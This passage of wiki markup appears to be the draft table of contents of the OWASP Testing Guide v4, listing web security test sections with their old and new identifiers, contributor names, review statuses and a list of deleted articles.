[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;  [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly &amp;quot;Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly &amp;quot;Testing for Weak or unenforced username policy (OWASP-AT-009)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] formerly &amp;quot;Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly &amp;quot;Testing for default credentials (OWASP-AT-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly &amp;quot;Testing for Weak lock out mechanism (OWASP-AT-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly &amp;quot;Testing for bypassing authentication schema (OWASP-AT-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly &amp;quot;Testing for vulnerable remember password functionality (OWASP-AT-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly &amp;quot;Testing for Browser cache weakness (OWASP-AT-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly &amp;quot;Testing for Weak password policy (OWASP-AT-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly &amp;quot;Testing for weak password change or reset functionalities (OWASP-AT-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly &amp;quot;Testing Directory traversal/file include (OWASP-AZ-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly &amp;quot;Testing for bypassing authorization schema  (OWASP-AZ-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly &amp;quot;Testing for Privilege Escalation  (OWASP-AZ-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly &amp;quot;Testing for Insecure Direct Object References (OWASP-AZ-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly &amp;quot;Testing for Bypassing Session Management Schema (OWASP-SM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly &amp;quot;Testing for Cookies attributes (OWASP-SM-002)&amp;quot; (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly &amp;quot;Testing for Session Fixation  (OWASP-SM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly &amp;quot;Testing for Exposed Session Variables (OWASP-SM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly &amp;quot;Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.6 Testing for logout functionality (OTG-SESS-007)]] formerly &amp;quot;Testing for logout functionality (OWASP-SM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.7 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OTG-SESS-010)|4.7.8 Testing for Session puzzling (OTG-SESS-010)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly &amp;quot;Testing for Reflected Cross Site Scripting (OWASP-DV-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly &amp;quot;Testing for Stored Cross Site Scripting (OWASP-DV-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly &amp;quot;Testing for HTTP Verb Tampering (OWASP-DV-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly &amp;quot;Testing for HTTP Parameter pollution (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.5 Testing for SQL Injection (OTG-INPVAL-006)]] formerly &amp;quot;Testing for SQL Injection (OWASP-DV-005)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.5.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.5.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.5.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.6 Testing for LDAP Injection  (OTG-INPVAL-007)]] formerly &amp;quot;Testing for LDAP Injection  (OWASP-DV-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.7 Testing for ORM Injection   (OTG-INPVAL-008)]] formerly &amp;quot;Testing for ORM Injection   (OWASP-DV-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.8 Testing for XML Injection (OTG-INPVAL-009)]] formerly &amp;quot;Testing for XML Injection (OWASP-DV-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.9 Testing for SSI Injection  (OTG-INPVAL-010)]] formerly &amp;quot;Testing for SSI Injection  (OWASP-DV-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.10 Testing for XPath Injection  (OTG-INPVAL-011)]] formerly &amp;quot;Testing for XPath Injection  (OWASP-DV-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.11 IMAP/SMTP Injection  (OTG-INPVAL-012)]] formerly &amp;quot;IMAP/SMTP Injection  (OWASP-DV-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.12 Testing for Code Injection  (OTG-INPVAL-013)]] formerly &amp;quot;Testing for Code Injection  (OWASP-DV-012)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.12.1 Testing for Local File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.12.2 Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.13 Testing for Command Injection   (OTG-INPVAL-014)]] formerly &amp;quot;Testing for Command Injection   (OWASP-DV-013)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.14 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly &amp;quot;Testing for Buffer overflow (OWASP-DV-014)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.14.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.15 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly &amp;quot;Testing for incubated vulnerabilities (OWASP-DV-015)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.16 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-017) ]] formerly &amp;quot;Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Error Handling|'''4.9 Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly &amp;quot;Analysis of Error Codes (OWASP-IG-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly &amp;quot;Analysis of Stack Traces&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Cryptography|'''4.10 Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.1 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly &amp;quot;Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)&amp;quot; [Simone Onofri]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly &amp;quot;Testing for Padding Oracle (OWASP-EN-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]] [Simone Onofri]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.11 Business Logic Testing  (OWASP-BL-001)''']] &lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.11.1 Test Business Logic Data Validation (OTG-BUSLOGIC-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.11.2 Test Ability to Forge Requests (OTG-BUSLOGIC-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.11.3 Test Integrity Checks (OTG-BUSLOGIC-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Test for Process Timing (OTG-BUSLOGIC-007)|4.11.4 Test for Process Timing (OTG-BUSLOGIC-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.11.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-009)|4.11.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)]] &lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.11.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-015)|4.11.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Malicious Files (OTG-BUSLOGIC-016)|4.11.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.12 Client Side Testing''']] [New!] &lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OWASP-DV-003)|4.12.1 Testing for DOM based Cross Site Scripting  (OTG-CLIENT-001)]] formerly &amp;quot;Testing for DOM based Cross Site Scripting  (OWASP-CS-001)&amp;quot; [Stefano Di Paola]&lt;br /&gt;
&lt;br /&gt;
[[Testing for JavaScript Execution|4.12.2 Testing for JavaScript Execution (OWASP-CS-002)]] (Stefano Di Paola, Matteo Meucci)&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTML Injection|4.12.3 Testing for HTML Injection (OWASP-CS-003)]] (Stefano Di Paola, Matteo Meucci)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Client Side URL Redirect|4.12.4 Testing for Client Side URL Redirect (OWASP-CS-004)]] (Mauro Gentile, Davide Danelon)&lt;br /&gt;
&lt;br /&gt;
[[Testing_for_CSS_Injection|4.12.5 Testing for CSS Injection (OWASP-CS-005)]] (Mauro Gentile, Davide Danelon)&lt;br /&gt;
&lt;br /&gt;
[[Testing_for_Client_Side_Resource_Manipulation|4.12.6 Testing for Client Side Resource Manipulation (OWASP-CS-006)]] (Mauro Gentile, Davide Danelon)&lt;br /&gt;
&lt;br /&gt;
[[Test Cross Origin Resource Sharing (OTG-CLIENT-002)|4.12.7 Test Cross Origin Resource Sharing (OTG-CLIENT-007)]] formerly &amp;quot;Testing for HTML5 (OWASP CS-002)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing (OWASP-DV-004)|4.12.8 Testing for Cross Site Flashing   (OTG-CLIENT-008)]] formerly &amp;quot;Testing for Cross Site Flashing   (OWASP-CS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Clickjacking (OWASP-CS-004)|4.12.9 Testing for Clickjacking (OTG-CLIENT-009)]] formerly &amp;quot;Testing for Clickjacking (OWASP-CS-004)&amp;quot; [Davide Danelon]&lt;br /&gt;
&lt;br /&gt;
[[Testing WebSockets (OTG-CLIENT-005)|4.12.10 Testing WebSockets (OTG-CLIENT-010)]] [Ryan Dewhurst]&lt;br /&gt;
&lt;br /&gt;
[[Test Web Messaging (OTG-CLIENT-006)|4.12.11 Test Web Messaging (OTG-CLIENT-011)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Test Local Storage (OTG-CLIENT-007)|4.12.12 Test Local Storage (OTG-CLIENT-012)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]== &lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; David Fern]'''Ready to be reviewed'''&lt;br /&gt;
* Books [To review--&amp;gt; David Fern]'''Ready to be reviewed'''&lt;br /&gt;
* Useful Websites [To review--&amp;gt; David Fern]'''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]== &lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]== &lt;br /&gt;
[To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
ARTICLES DELETED:&lt;br /&gt;
&lt;br /&gt;
INFO GATHERING:&lt;br /&gt;
&lt;br /&gt;
CONFIGURATION AND DEPLOY MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
IDENTITY MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
AUTHORIZATION TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
SESSION MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
DATA VALIDATION TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
CRYPTOGRAPHY:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
BUSINESS LOGIC:&lt;br /&gt;
&lt;br /&gt;
XXXX[[Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)|4.12.3 Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)]] [New!]- [Combine with Test Ability to forge requests as an example]&lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) &lt;br /&gt;
&lt;br /&gt;
DENIAL OF SERVICE&lt;br /&gt;
&lt;br /&gt;
[[Denial of Service|'''4.13 Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly &amp;quot;Testing for CAPTCHA (OWASP-AT-012)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)]] [New!]- [Moved from Business Logic, formerly OTG-BUSLOGIC-006]&lt;br /&gt;
&lt;br /&gt;
[[Test size of request limits (OTG-BUSLOGIC-006)|4.13.5 Test size of request limits (OTG-DOS-005)]] [New!] - [Moved from Business Logic, formerly OTG-BUSLOGIC-008]&lt;br /&gt;
&lt;br /&gt;
WEB SERVICES TESTING&lt;br /&gt;
&lt;br /&gt;
